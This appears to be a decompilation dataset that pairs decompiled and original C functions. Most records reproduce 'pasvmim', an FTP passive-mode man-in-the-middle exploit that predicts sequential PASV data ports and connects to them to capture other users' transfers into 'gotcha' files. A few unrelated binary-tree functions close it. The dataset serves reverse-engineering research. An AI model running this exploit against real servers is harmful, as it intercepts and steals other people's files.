memcpy((void *)(unsigned int)((_DWORD)&sa + 4), *v4, v3);
sa.sa_family = v2->h_addrtype;
result = 0LL;
}
else
{
*_errno_location() = 111;
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(const char *a1)
{
struct hostent *v1; // rax
struct hostent *v2; // rbx
size_t v3; // rdx
const void **v4; // rax
__int64 result; // rax

v1 = gethostbyname(a1);
if ( v1 )
{
v2 = v1;
v3 = v1->h_length;
v4 = (const void **)v1->h_addr_list;
sa = 0LL;
memcpy((void *)(unsigned int)((_DWORD)&sa + 4), *v4, v3);
sa.sa_family = v2->h_addrtype;
result = 0LL;
}
else
{
*_errno_location() = 111;
result = 0xFFFFFFFFLL;
}
return result;
}

original_code:
int get_socket(char *hostname)
{
    struct hostent *hp;
    if ((hp = gethostbyname(hostname)) == ((void *)0)) {
 (*__errno_location ()) = 111;
 return -1;
    }
    memset(&sa, 0, sizeof(sa));
    memcpy((char *) &sa.sin_addr, hp->h_addr_list[0], hp->h_length);
    sa.sin_family = hp->h_addrtype;
    return 0;
}

variable_types:
hostname
char *

variable_types: struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; } *


decompiled_code:
__int64 __fastcall create_socket(__int16 a1)
{
int v1; // edx
int v2; // eax
unsigned int v3; // er12
int v5; // edi

*(_WORD *)sa.sa_data = _bswap_16(a1);
v2 = socket(2, 1, v1);
if ( v2 < 0 )
return (unsigned int)-1;
v3 = v2;
if ( connect(v2, &sa, 0x10u) < 0 )
{
v5 = v3;
v3 = -1;
close(v5);
}
return v3;
}

canonical_decompiled_code:
__int64 __fastcall func2(__int16 a1)
{
int v1; // edx
int v2; // eax
unsigned int v3; // er12
int v5; // edi

*(_WORD *)sa.sa_data = func0(a1);
v2 = socket(2, 1, v1);
if ( v2 < 0 )
return (unsigned int)-1;
v3 = v2;
if ( connect(v2, &sa, 0x10u) < 0 )
{
v5 = v3;
v3 = -1;
close(v5);
}
return v3;
}

original_code:
int create_socket(int portnum)
{
    int s;
    sa.sin_port = htons((u_short) portnum);
    if ((s = socket(2, SOCK_STREAM, 0)) < 0)
 return (-1);
    if (connect(s, (struct sockaddr *) &sa, sizeof(struct sockaddr_in)) <
 0) {
 close(s);
 return (-1);
    }
    return (s);
}

canonical_original_code:
int create_socket(int portnum)
{
    int s;
    sa.sin_port = htons((unsigned short) portnum);
    if ((s = socket(2, SOCK_STREAM, 0)) < 0)
 return (-1);
    if (connect(s, (struct sockaddr *) &sa, sizeof(struct sockaddr_in)) <
 0) {
 close(s);
 return (-1);
    }
    return (s);
}

variable_types: portnum int

variable_types: s int

user_defined_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }

user_defined_types: struct sockaddr { unsigned short sa_family; char sa_data[14]; }


readline

decompiled_code:
size_t __fastcall readline(char *s)
{
char *v1; // rax
char *v2; // rax

if ( !fgets(s, 4096, connection) )
{
puts("*** Error : Remote host closed connection");
perror("fgets");
exit(-1);
}
v1 = strchr(s, 10);
if ( v1 )
*v1 = 0;
v2 = strchr(s, 13);
if ( v2 )
*v2 = 0;
return strlen(s);
}

canonical_decompiled_code:
size_t __fastcall func3(char *s)
{
char *v1; // rax
char *v2; // rax

if ( !fgets(s, 4096, connection) )
{
puts("*** Error : Remote host closed connection");
perror("fgets");
exit(-1);
}
v1 = strchr(s, 10);
if ( v1 )
*v1 = 0;
v2 = strchr(s, 13);
if ( v2 )
*v2 = 0;
return strlen(s);
}

original_code:
int readline(char *dest)
{
    char *ptr = fgets(dest, 4096, connection);
    if (ptr == ((void *)0)) {
 printf("*** Error : Remote host closed connection\n");
 perror("fgets");
 exit(-1);
    }
    if ((ptr = strchr(dest, '\n')))
 *ptr = 0;
    if ((ptr = strchr(dest, '\r')))
 *ptr = 0;
    return strlen(dest);
}

variable_types:
dest
char *

variable_types:
ptr
char *


decompiled_code:
__int64 __fastcall log_ftp(const char *a1, unsigned int a2, const char *a3, const char *a4)
{
char *v6; // rbp
int v7; // er12
char *v8; // rax
size_t v9; // rax
size_t v10; // rax
struct timeval v12; // [rsp+0h] [rbp-C8h] BYREF
fd_set readfds; // [rsp+10h] [rbp-B8h] BYREF

v12.tv_sec = 3LL;
v12.tv_usec = 0LL;
v6 = (char *)malloc(0x1000uLL);
if ( (unsigned int)get_socket(a1) )
{
v7 = 0;
printf("*** Unable to resolve %s\n", a1);
}
else
{
v7 = create_socket(a2);
if ( v7 <= 0 )
{
printf("*** Error connecting to %s:%d\n", a1, a2);
perror("connect");
exit(-1);
}
v8 = inet_ntoa(*(struct in_addr *)&sa.sa_data[2]);
printf("*** Connection open on %s:%d\n", v8, a2);
connection = fdopen(v7, "rw");
do
{
readline(v6);
if ( verbose )
printf("*** banner : %s\n", v6);
}
while ( !strstr(v6, "220 ") );
snprintf(v6, 0x100uLL, "USER %s\r\n", a3);
v9 = strlen(v6);
write(v7, v6, v9);
if ( !(unsigned int)readline(v6) )
{
puts("*** Remote host closed connection");
exit(-1);
}
if ( verbose )
printf("*** welcome : %s\n", v6);
snprintf(v6, 0x100uLL, "PASS %s\r\n", a4);
v10 = strlen(v6);
write(v7, v6, v10);
if ( !(unsigned int)readline(v6) )
{
printf("*** Remote host closed connection");
exit(-1);
}
if ( verbose )
printf("*** welcome : %s\n", v6);
if ( !strstr(v6, "230") )
{
puts("*** Login failed");
exit(-1);
}
memset(&readfds, 0, sizeof(readfds));
readfds.fds_bits[v7 >> 6] |= 1LL << v7;
while ( select(v7 + 1, &readfds, 0LL, 0LL, &v12) )
{
read(v7, v6, 0x1000uLL);
if ( verbose )
printf("* : %s\n", v6);
}
free(v6);
}
return (unsigned int)v7;
}

canonical_decompiled_code:
__int64 __fastcall func4(const char *a1, unsigned int a2, const char *a3, const char *a4)
{
char *v6; // rbp
int v7; // er12
char *v8; // rax
size_t v9; // rax
size_t v10; // rax
struct timeval v12; // [rsp+0h] [rbp-C8h] BYREF
fd_set readfds; // [rsp+10h] [rbp-B8h] BYREF

v12.tv_sec = 3LL;
v12.tv_usec = 0LL;
v6 = (char *)malloc(0x1000uLL);
if ( (unsigned int)func1(a1) )
{
v7 = 0;
printf("*** Unable to resolve %s\n", a1);
}
else
{
v7 = func2(a2);
if ( v7 <= 0 )
{
printf("*** Error connecting to %s:%d\n", a1, a2);
perror("connect");
exit(-1);
}
v8 = inet_ntoa(*(struct in_addr *)&sa.sa_data[2]);
printf("*** Connection open on %s:%d\n", v8, a2);
connection = fdopen(v7, "rw");
do
{
func3(v6);
if ( verbose )
printf("*** banner : %s\n", v6);
}
while ( !strstr(v6, "220 ") );
snprintf(v6, 0x100uLL, "USER %s\r\n", a3);
v9 = strlen(v6);
write(v7, v6, v9);
if ( !(unsigned int)func3(v6) )
{
puts("*** Remote host closed connection");
exit(-1);
}
if ( verbose )
printf("*** welcome : %s\n", v6);
snprintf(v6, 0x100uLL, "PASS %s\r\n", a4);
v10 = strlen(v6);
write(v7, v6, v10);
if ( !(unsigned int)func3(v6) )
{
printf("*** Remote host closed connection");
exit(-1);
}
if ( verbose )
printf("*** welcome : %s\n", v6);
if ( !strstr(v6, "230") )
{
puts("*** Login failed");
exit(-1);
}
memset(&readfds, 0, sizeof(readfds));
readfds.fds_bits[v7 >> 6] |= 1LL << v7;
while ( select(v7 + 1, &readfds, 0LL, 0LL, &v12) )
{
read(v7, v6, 0x1000uLL);
if ( verbose )
printf("* : %s\n", v6);
}
free(v6);
}
return (unsigned int)v7;
}

original_code:
int log_ftp(char *hostname, int port, char *user, char *password)
{
    char *buffer = malloc(4096);
    fd_set read_set;
    int fd;
    struct timeval seconds = { 3, 0 };
    fd = get_socket(hostname);
    if (fd) {
 printf("*** Unable to resolve %s\n", hostname);
 return 0;
    }
    fd = create_socket(port);
    if (fd <= 0) {
 printf("*** Error connecting to %s:%d\n", hostname, port);
 perror("connect");
 exit(-1);
    }
    printf("*** Connection open on %s:%d\n", inet_ntoa(sa.sin_addr), port);
    connection = fdopen(fd, "rw");
    while (1) {
 readline(buffer);
 if (verbose)
     printf("*** banner : %s\n", buffer);
 if (strstr(buffer, "220 "))
     break;
    }
    snprintf(buffer, 256, "USER %s\r\n", user);
    write(fd, buffer, strlen(buffer));
    if (readline(buffer) == 0) {
 printf("*** Remote host closed connection\n");
 exit(-1);
    }
    if (verbose)
 printf("*** welcome : %s\n", buffer);
    snprintf(buffer, 256, "PASS %s\r\n", password);
    write(fd, buffer, strlen(buffer));
    if (readline(buffer) == 0) {
 printf("*** Remote host closed connection");
 exit(-1);
    }
    if (verbose)
 printf("*** welcome : %s\n", buffer);
    if (strstr(buffer, "230")) {
 do { int __d0, __d1; __asm__ __volatile__ ("cld; rep; " "stosq" : "=c" (__d0), "=D" (__d1) : "a" (0), "0" (sizeof (fd_set) / sizeof (__fd_mask)), "1" (&((&read_set)->__fds_bits)[0]) : "memory"); } while (0);
 ((void) (((&read_set)->__fds_bits)[((fd) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((fd) % (8 * (int) sizeof (__fd_mask)))))));
 while (select(fd + 1, &read_set, ((void *)0), ((void *)0), &seconds) != 0) {
     read(fd, buffer, 4096);
     if (verbose)
  printf("* : %s\n", buffer);
 }
 free(buffer);
 return fd;
    }
    printf("*** Login failed\n");
    exit(-1);
}

canonical_original_code:
int log_ftp(char *hostname, int port, char *user, char *password)
{
    char *buffer = malloc(4096);
    struct fd_set read_set;
    int fd;
    struct timeval seconds = { 3, 0 };
    fd = get_socket(hostname);
    if (fd) {
 printf("*** Unable to resolve %s\n", hostname);
 return 0;
    }
    fd = create_socket(port);
    if (fd <= 0) {
 printf("*** Error connecting to %s:%d\n", hostname, port);
 perror("connect");
 exit(-1);
    }
    printf("*** Connection open on %s:%d\n", inet_ntoa(sa.sin_addr), port);
    connection = fdopen(fd, "rw");
    while (1) {
 readline(buffer);
 if (verbose)
     printf("*** banner : %s\n", buffer);
 if (strstr(buffer, "220 "))
     break;
    }
    snprintf(buffer, 256, "USER %s\r\n", user);
    write(fd, buffer, strlen(buffer));
    if (readline(buffer) == 0) {
 printf("*** Remote host closed connection\n");
 exit(-1);
    }
    if (verbose)
 printf("*** welcome : %s\n", buffer);
    snprintf(buffer, 256, "PASS %s\r\n", password);
    write(fd, buffer, strlen(buffer));
    if (readline(buffer) == 0) {
 printf("*** Remote host closed connection");
 exit(-1);
    }
    if (verbose)
 printf("*** welcome : %s\n", buffer);
    if (strstr(buffer, "230")) {
 do { int __d0; int __d1; __asm__ __volatile__ ("cld; rep; " "stosq" : "=c" (__d0), "=D" (__d1) : "a" (0), "0" (sizeof (fd_set) / sizeof (__fd_mask)), "1" (&((&read_set)->__fds_bits)[0]) : "memory"); } while (0);
 ((void) (((&read_set)->__fds_bits)[((fd) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((fd) % (8 * (int) sizeof (__fd_mask)))))));
 while (select(fd + 1, &read_set, ((void *)0), ((void *)0), &seconds) != 0) {
     read(fd, buffer, 4096);
     if (verbose)
  printf("* : %s\n", buffer);
 }
 free(buffer);
 return fd;
    }
    printf("*** Login failed\n");
    exit(-1);
}

variable_types: port int

variable_types:
user
char *

variable_types:
password
char *

variable_types:
buffer
char *

variable_types: fd int

variable_types: struct timeval { long tv_sec; long tv_usec; }


decompiled_code:
__int64 __fastcall ftp_pasv(int a1)
{
int v1; // ebx
int v2; // eax
char *v3; // rdi
char v5; // [rsp+8h] [rbp-20h] BYREF
char v6; // [rsp+Ch] [rbp-1Ch] BYREF
char v7; // [rsp+10h] [rbp-18h] BYREF
char v8; // [rsp+14h] [rbp-14h] BYREF
int v9; // [rsp+18h] [rbp-10h] BYREF
int v10; // [rsp+1Ch] [rbp-Ch] BYREF

v1 = write(a1, "PASV\r\n", 6uLL);
v2 = readline(buffer_0);
if ( !v1 || !v2 )
{
puts("*** Remote host closed connection");
exit(0);
}
if ( atoi(buffer_0) != 227
|| (v3 = strchr(buffer_0, 40)) == 0LL
|| (unsigned int)_isoc99_sscanf(v3, "(%d,%d,%d,%d,%d,%d)", &v5, &v6, &v7, &v8, &v9, &v10) != 6 )
{
printf("Strange result ... : \"%s\"\n", buffer_0);
exit(0);
}
return (unsigned int)(v10 + (v9 << 8));
}

canonical_decompiled_code:
__int64 __fastcall func5(int a1)
{
int v1; // ebx
int v2; // eax
char *v3; // rdi
char v5; // [rsp+8h] [rbp-20h] BYREF
char v6; // [rsp+Ch] [rbp-1Ch] BYREF
char v7; // [rsp+10h] [rbp-18h] BYREF
char v8; // [rsp+14h] [rbp-14h] BYREF
int v9; // [rsp+18h] [rbp-10h] BYREF
int v10; // [rsp+1Ch] [rbp-Ch] BYREF

v1 = write(a1, "PASV\r\n", 6uLL);
v2 = func3(buffer_0);
if ( !v1 || !v2 )
{
puts("*** Remote host closed connection");
exit(0);
}
if ( atoi(buffer_0) != 227
|| (v3 = strchr(buffer_0, 40)) == 0LL
|| (unsigned int)_isoc99_sscanf(v3, "(%d,%d,%d,%d,%d,%d)", &v5, &v6, &v7, &v8, &v9, &v10) != 6 )
{
printf("Strange result ... : \"%s\"\n", buffer_0);
exit(0);
}
return (unsigned int)(v10 + (v9 << 8));
}

original_code:
int ftp_pasv(int fd)
{
    int written;
    int code;
    int port;
    int a, b, c, d, e, f;
    char *p;
    static char *pasv = "PASV\r\n";
    static char buffer[4096];
    written = write(fd, pasv, strlen(pasv));
    if (!readline(buffer) || !written) {
 printf("*** Remote host closed connection\n");
 exit(0);
    }
    code = atoi(buffer);
    if (code != 227) {
 printf("Strange result ... : \"%s\"\n", buffer);
 exit(0);
    }
    p = strchr(buffer, '(');
    if (!p) {
 printf("Strange result ... : \"%s\"\n", buffer);
 exit(0);
    }
    if (sscanf(p, "(%d,%d,%d,%d,%d,%d)", &a, &b, &c, &d, &e, &f) != 6) {
 printf("Strange result ... : \"%s\"\n", buffer);
 exit(0);
    }
    port = (e << 8) + f;
    return port;
}

canonical_original_code:
int ftp_pasv(int fd)
{
    int written;
    int code;
    int port;
    int a; int b; int c; int d; int e; int f;
    char *p;
    static char *pasv = "PASV\r\n";
    static char buffer[4096];
    written = write(fd, pasv, strlen(pasv));
    if (!readline(buffer) || !written) {
 printf("*** Remote host closed connection\n");
 exit(0);
    }
    code = atoi(buffer);
    if (code != 227) {
 printf("Strange result ... : \"%s\"\n", buffer);
 exit(0);
    }
    p = strchr(buffer, '(');
    if (!p) {
 printf("Strange result ... : \"%s\"\n", buffer);
 exit(0);
    }
    if (sscanf(p, "(%d,%d,%d,%d,%d,%d)", &a, &b, &c, &d, &e, &f) != 6) {
 printf("Strange result ... : \"%s\"\n", buffer);
 exit(0);
    }
    port = (e << 8) + f;
    return port;
}

variable_types: written int

variable_types: code int

variable_types: a int

variable_types: b int

variable_types: c int

variable_types: d int

variable_types: e int

variable_types: f int

variable_types:
p
char *

variable_types:
pasv
char *

variable_types:
buffer
char [4096]


decompiled_code:
void it_is_late()
{
if ( !total )
{
puts("**** Timeout");
exit(0);
}
}

canonical_decompiled_code:
void func0()
{
if ( !total )
{
puts("**** Timeout");
exit(0);
}
}

original_code:
void it_is_late(int nr)
{
    if (total == 0) {
 printf("**** Timeout\n");
 exit(0);
    }
}

variable_types: nr int


decompiled_code:
void chld_hdlr()
{
signal(17, chld_hdlr);
wait(0LL);
}

canonical_decompiled_code:
void func1()
{
signal(17, chld_hdlr);
wait(0LL);
}

original_code:
void chld_hdlr(int null)
{
    signal(17, chld_hdlr);
    wait(((void *)0));
}


usage

decompiled_code:
void __noreturn usage()
{
puts(
"./pasvmim -h hostname -p port -u user:password [-c]\n"
"use 'xxx' as password for more security\n"
"-c to 'continue anymore'\n"
"-w waittime -m max_count");
exit(0);
}

canonical_decompiled_code:
void __noreturn func2()
{
puts(
"./pasvmim -h hostname -p port -u user:password [-c]\n"
"use 'xxx' as password for more security\n"
"-c to 'continue anymore'\n"
"-w waittime -m max_count");
exit(0);
}

original_code:
void usage()
{
    printf("./pasvmim -h hostname -p port -u user:password [-c]\n"
    "use 'xxx' as password for more security\n"
    "-c to 'continue anymore'\n" "-w waittime -m max_count\n");
    exit(0);
}


opts

decompiled_code:
__int64 __fastcall opts(int argc, char **argv)
{
int v2; // eax
char *v3; // rax
const char *v4; // r12
__int64 result; // rax

while ( 1 )
{
v2 = getopt(argc, argv, "h:p:u:w:m:c");
if ( v2 == -1 )
return 0LL;
switch ( v2 )
{
case 'c':
ignore = 1;
continue;
case 'h':
hostname = strdup(optarg);
continue;
case 'm':
max_count = atoi(optarg);
continue;
case 'p':
port = atoi(optarg);
continue;
case 'u':
v3 = strchr(optarg, 58);
if ( !v3 )
goto LABEL_13;
*v3 = 0;
v4 = v3 + 1;
user = strdup(optarg);
if ( !strcmp(v4, "xxx") )
pass[0] = getpass("Password:");
else
pass[0] = strdup(v4);
break;
case 'w':
waittime = atoi(optarg);
continue;
default:
LABEL_13:
usage();
return result;
}
}
}

canonical_decompiled_code:
__int64 __fastcall func3(int argc, char **argv)
{
int v2; // eax
char *v3; // rax
const char *v4; // r12
__int64 result; // rax

while ( 1 )
{
v2 = getopt(argc, argv, "h:p:u:w:m:c");
if ( v2 == -1 )
return 0LL;
switch ( v2 )
{
case 'c':
ignore = 1;
continue;
case 'h':
hostname = strdup(optarg);
continue;
case 'm':
max_count = atoi(optarg);
continue;
case 'p':
port = atoi(optarg);
continue;
case 'u':
v3 = strchr(optarg, 58);
if ( !v3 )
goto LABEL_13;
*v3 = 0;
v4 = v3 + 1;
user = strdup(optarg);
if ( !strcmp(v4, "xxx") )
pass[0] = getpass("Password:");
else
pass[0] = strdup(v4);
break;
case 'w':
waittime = atoi(optarg);
continue;
default:
LABEL_13:
func2();
return result;
}
}
}

original_code:
int opts(int argc, char **argv)
{
    int i;
    char *p;
    while ((i = getopt(argc, argv, "h:p:u:w:m:c")) != -1) {
 switch (i) {
 case 'h':
     hostname = strdup(optarg);
     break;
 case 'p':
     port = atoi(optarg);
     break;
 case 'w':
     waittime = atoi(optarg);
     break;
 case 'm':
     max_count = atoi(optarg);
     break;
 case 'u':
     p = strchr(optarg, ':');
     if (!p)
  usage();
     *p = 0;
     p++;
     user = strdup(optarg);
     if (!strcmp(p, "xxx"))
  pass = getpass("Password:");
     else
  pass = strdup(p);
     break;
 case 'c':
     ignore = 1;
     break;
 default:
     usage();
 }
    }
    return 0;
}

variable_types: argc int

variable_types:
argv
char **

variable_types: i int


decompiled_code:
__int64 __fastcall manage_socket(int fd, unsigned int a2)
{
int v3; // eax
int v4; // er12
int v5; // eax
int v6; // ebx
char v7[32]; // [rsp+0h] [rbp-1038h] BYREF
char buf[4120]; // [rsp+20h] [rbp-1018h] BYREF

if ( !fork() )
{
signal(14, (__sighandler_t)it_is_late);
signal(1, 0LL);
alarm(5u);
sprintf(v7, "gotcha_%.3d", a2);
v3 = open(v7, 65);
v4 = v3;
if ( v3 >= 0 )
{
fchmod(v3, 0x1B6u);
while ( 1 )
{
v5 = read(fd, buf, 0x1000uLL);
v6 = v5;
if ( v5 <= 0 )
break;
write(v4, buf, v5);
total += v6;
}
close(v4);
close(fd);
if ( total )
{
printf("*** file %s saved (%d bytes) ***\n", v7, (unsigned int)total);
}
else
{
unlink(v7);
printf("*** file %s destroyed (%d bytes) ***\n", v7, (unsigned int)total);
}
exit(0);
}
perror(v7);
exit(0);
}
return 0LL;
}

canonical_decompiled_code:
__int64 __fastcall func4(int fd, unsigned int a2)
{
int v3; // eax
int v4; // er12
int v5; // eax
int v6; // ebx
char v7[32]; // [rsp+0h] [rbp-1038h] BYREF
char buf[4120]; // [rsp+20h] [rbp-1018h] BYREF

if ( !fork() )
{
signal(14, (__sighandler_t)it_is_late);
signal(1, 0LL);
alarm(5u);
sprintf(v7, "gotcha_%.3d", a2);
v3 = open(v7, 65);
v4 = v3;
if ( v3 >= 0 )
{
fchmod(v3, 0x1B6u);
while ( 1 )
{
v5 = read(fd, buf, 0x1000uLL);
v6 = v5;
if ( v5 <= 0 )
break;
write(v4, buf, v5);
total += v6;
}
close(v4);
close(fd);
if ( total )
{
printf("*** file %s saved (%d bytes) ***\n", v7, (unsigned int)total);
}
else
{
unlink(v7);
printf("*** file %s destroyed (%d bytes) ***\n", v7, (unsigned int)total);
}
exit(0);
}
perror(v7);
exit(0);
}
return 0LL;
}

original_code:
int manage_socket(int sock, int num)
{
    int pid;
    char buffer[4096];
    char file[20];
    int filefd;
    int n;
    pid = fork();
    if (pid) {
 return 0;
    }
    signal(14, it_is_late);
    signal(1, ((void *)0));
    alarm(5);
    sprintf(file, "gotcha_%.3d", num);
    filefd = open(file, 01 | 0100);
    if (filefd < 0) {
 perror(file);
 exit(0);
    }
    fchmod(filefd, 0666);
    while ((n = read(sock, buffer, 4096)) > 0) {
 write(filefd, buffer, n);
 total += n;
    }
    close(filefd);
    close(sock);
    if (total == 0) {
 unlink(file);
 printf("*** file %s destroyed (%d bytes) ***\n", file, total);
    } else
 printf("*** file %s saved (%d bytes) ***\n", file, total);
    exit(0);
}

variable_types: sock int

variable_types: num int

variable_types: pid int

variable_types:
file
char [20]

variable_types: filefd int

variable_types: n int


main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdi
char *v4; // rbx
unsigned int v5; // eax
int v6; // ebp
unsigned int v7; // ebp
unsigned int v8; // er13
int v9; // ebx
int v10; // er12
int v12; // [rsp+4h] [rbp-34h] BYREF
int v13; // [rsp+Ch] [rbp-2Ch]
char v14; // [rsp+10h] [rbp-28h] BYREF

if ( argc <= 1 )
usage(argc, argv, envp);
signal(17, (__sighandler_t)chld_hdlr);
puts("************PASSIVE MODE MIM************");
opts(argc, (char **)argv);
serverfd = log_ftp(hostname, (unsigned int)port, user, pass[0]);
v3 = (unsigned int)serverfd;
if ( serverfd <= 0 )
{
puts("*** Bye bye");
exit(0);
}
v4 = (char *)&v12;
while ( 1 )
{
v5 = ftp_pasv(v3);
v4 += 4;
*((_DWORD *)v4 - 1) = v5;
printf("*** Port %d opened on server\n", v5);
if ( v4 == &v14 )
break;
v3 = (unsigned int)serverfd;
}
v6 = v13;
if ( v12 + 2 == v13 )
{
puts("*** the ports are chosen in a linear manner... continuing exploit");
goto LABEL_8;
}
puts("Exploit didn't discover linearely chosen ports... the server may not be vulnerable");
if ( ignore )
{
LABEL_8:
v7 = v6 + 1;
v8 = 0;
while ( 1 )
{
if ( max_count > 0 )
{
v9 = 0;
while ( 1 )
{
v10 = create_socket(v7);
if ( v10 > 1 )
break;
++v9;
usleep(waittime);
if ( max_count <= v9 )
goto LABEL_10;
}
printf("*** Got something on port %d (%dth file) ***\n", v7, ++v8);
manage_socket(v10, v8);
close(v10);
}
LABEL_10:
v7 = ftp_pasv((unsigned int)serverfd) + 1;
printf("** Retrying using port %d\n", v7);
}
}
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdi
char *v4; // rbx
unsigned int v5; // eax
int v6; // ebp
unsigned int v7; // ebp
unsigned int v8; // er13
int v9; // ebx
int v10; // er12
int v12; // [rsp+4h] [rbp-34h] BYREF
int v13; // [rsp+Ch] [rbp-2Ch]
char v14; // [rsp+10h] [rbp-28h] BYREF

if ( argc <= 1 )
func2(argc, argv, envp);
signal(17, (__sighandler_t)chld_hdlr);
puts("************PASSIVE MODE MIM************");
func3(argc, (char **)argv);
serverfd = log_ftp(hostname, (unsigned int)port, user, pass[0]);
v3 = (unsigned int)serverfd;
if ( serverfd <= 0 )
{
puts("*** Bye bye");
exit(0);
}
v4 = (char *)&v12;
while ( 1 )
{
v5 = ftp_pasv(v3);
v4 += 4;
*((_DWORD *)v4 - 1) = v5;
printf("*** Port %d opened on server\n", v5);
if ( v4 == &v14 )
break;
v3 = (unsigned int)serverfd;
}
v6 = v13;
if ( v12 + 2 == v13 )
{
puts("*** the ports are chosen in a linear manner... continuing exploit");
goto LABEL_8;
}
puts("Exploit didn't discover linearely chosen ports... the server may not be vulnerable");
if ( ignore )
{
LABEL_8:
v7 = v6 + 1;
v8 = 0;
while ( 1 )
{
if ( max_count > 0 )
{
v9 = 0;
while ( 1 )
{
v10 = create_socket(v7);
if ( v10 > 1 )
break;
++v9;
usleep(waittime);
if ( max_count <= v9 )
goto LABEL_10;
}
printf("*** Got something on port %d (%dth file) ***\n", v7, ++v8);
func4(v10, v8);
close(v10);
}
LABEL_10:
v7 = ftp_pasv((unsigned int)serverfd) + 1;
printf("** Retrying using port %d\n", v7);
}
}
return 0;
}

original_code:
int main(int argc, char **argv)
{
    int ports[3];
    int guessedport;
    int i = 0;
    int counter;
    int fd;
    int gotfile = 0;
    if (argc < 2)
 usage();
    signal(17, chld_hdlr);
    printf("************PASSIVE MODE MIM************\n");
    opts(argc, argv);
    serverfd = log_ftp(hostname, port, user, pass);
    if (serverfd <= 0) {
 printf("*** Bye bye\n");
 exit(0);
    }
    for (i = 0; i < 3; i++) {
 ports[i] = ftp_pasv(serverfd);
 printf("*** Port %d opened on server\n", ports[i]);
    }
    if (ports[0] + 2 == ports[2])
 printf
     ("*** the ports are chosen in a linear manner... continuing exploit\n");
    else {
 printf
     ("Exploit didn't discover linearely chosen ports... the server may not be vulnerable\n");
 if (!ignore)
     return 0;
    }
    guessedport = ports[2] + 1;
    while (1) {
 for (counter = 0; counter < max_count; counter++) {
     fd = create_socket(guessedport);
     if (fd > 1) {
  printf("*** Got something on port %d (%dth file) ***\n",
         guessedport, ++gotfile);
  manage_socket(fd, gotfile);
  close(fd);
  break;
     }
     usleep(waittime);
 }
 guessedport = ftp_pasv(serverfd) + 1;
 printf("** Retrying using port %d\n", guessedport);
    }
    return 0;
}

variable_types:
ports
int [3]

variable_types: guessedport int

variable_types: counter int

variable_types: fd int

variable_types: gotfile int


repo: arjunswaj/algoutil

decompiled_code:
__int64 create_tree_1()
{
__int64 v0; // rax
__int64 v1; // rbp
__int64 v2; // r13
__int64 v3; // r12
__int64 v4; // r14
__int64 v5; // r13
__int64 v6; // rbp
__int64 v7; // r12
__int64 v8; // rax

v0 = init_node(10LL, 0LL, 0LL);
v1 = init_node(8LL, 0LL, v0);
v2 = init_node(9LL, 0LL, 0LL);
v3 = init_node(6LL, 0LL, 0LL);
v4 = init_node(7LL, 0LL, 0LL);
v5 = init_node(5LL, v1, v2);
v6 = init_node(4LL, 0LL, 0LL);
v7 = init_node(3LL, v3, v4);
v8 = init_node(2LL, v6, v5);
return init_node(1LL, v8, v7);
}

canonical_decompiled_code:
__int64 func0()
{
__int64 v0; // rax
__int64 v1; // rbp
__int64 v2; // r13
__int64 v3; // r12
__int64 v4; // r14
__int64 v5; // r13
__int64 v6; // rbp
__int64 v7; // r12
__int64 v8; // rax

v0 = init_node(10LL, 0LL, 0LL);
v1 = init_node(8LL, 0LL, v0);
v2 = init_node(9LL, 0LL, 0LL);
v3 = init_node(6LL, 0LL, 0LL);
v4 = init_node(7LL, 0LL, 0LL);
v5 = init_node(5LL, v1, v2);
v6 = init_node(4LL, 0LL, 0LL);
v7 = init_node(3LL, v3, v4);
v8 = init_node(2LL, v6, v5);
return init_node(1LL, v8, v7);
}

original_code:
struct tree *create_tree_1() {
 struct tree *node_10 = init_node(10, ((void *)0), ((void *)0));
 struct tree *node_8 = init_node(8, ((void *)0), node_10);
 struct tree *node_9 = init_node(9, ((void *)0), ((void *)0));
 struct tree *node_6 = init_node(6, ((void *)0), ((void *)0));
 struct tree *node_7 = init_node(7, ((void *)0), ((void *)0));
 struct tree *node_5 = init_node(5, node_8, node_9);
 struct tree *node_4 = init_node(4, ((void *)0), ((void *)0));
 struct tree *node_3 = init_node(3, node_6, node_7);
 struct tree *node_2 = init_node(2, node_4, node_5);
 struct tree *node_1 = init_node(1, node_2, node_3);
 return node_1;
}

variable_types: struct tree { int data; struct tree *left; struct tree *right; } *


decompiled_code:
__int64 create_tree_2()
{
__int64 v0; // rbp
__int64 v1; // r13
__int64 v2; // r12
__int64 v3; // r14
__int64 v4; // r13
__int64 v5; // rbp
__int64 v6; // r12
__int64 v7; // rax

v0 = init_node(8LL, 0LL, 0LL);
v1 = init_node(9LL, 0LL, 0LL);
v2 = init_node(6LL, 0LL, 0LL);
v3 = init_node(7LL, 0LL, 0LL);
v4 = init_node(5LL, v0, v1);
v5 = init_node(4LL, 0LL, 0LL);
v6 = init_node(3LL, v2, v3);
v7 = init_node(2LL, v5, v4);
return init_node(1LL, v7, v6);
}

canonical_decompiled_code:
__int64 func1()
{
__int64 v0; // rbp
__int64 v1; // r13
__int64 v2; // r12
__int64 v3; // r14
__int64 v4; // r13
__int64 v5; // rbp
__int64 v6; // r12
__int64 v7; // rax

v0 = init_node(8LL, 0LL, 0LL);
v1 = init_node(9LL, 0LL, 0LL);
v2 = init_node(6LL, 0LL, 0LL);
v3 = init_node(7LL, 0LL, 0LL);
v4 = init_node(5LL, v0, v1);
v5 = init_node(4LL, 0LL, 0LL);
v6 = init_node(3LL, v2, v3);
v7 = init_node(2LL, v5, v4);
return init_node(1LL, v7, v6);
}

original_code:
struct tree *create_tree_2() {
 struct tree *node_8 = init_node(8, ((void *)0), ((void *)0));
 struct tree *node_9 = init_node(9, ((void *)0), ((void *)0));
 struct tree *node_6 = init_node(6, ((void *)0), ((void *)0));
 struct tree *node_7 = init_node(7, ((void *)0), ((void *)0));
 struct tree *node_5 = init_node(5, node_8, node_9);
 struct tree *node_4 = init_node(4, ((void *)0), ((void *)0));
 struct tree *node_3 = init_node(3, node_6, node_7);
 struct tree *node_2 = init_node(2, node_4, node_5);
 struct tree *node_1 = init_node(1, node_2, node_3);
 return node_1;
}

return_type: struct tree { int data; struct tree *left; struct tree *right; } *


